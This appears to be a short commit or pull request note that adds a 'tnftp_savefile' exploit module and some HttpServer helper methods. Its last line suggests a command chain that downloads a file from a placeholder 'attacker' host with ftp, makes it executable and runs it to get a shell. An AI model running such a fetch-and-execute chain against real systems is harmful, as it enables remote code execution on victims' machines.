Add tnftp_savefile exploit

Also adds ```URI{HOST,PORT}``` and ```{,v}print_good``` to ```HttpServer```.
Can we get a shell from this somehow? You have ftp so you could do something like `ftp http://attacker/exploit -o exploit; chmod +x exploit; ./exploit`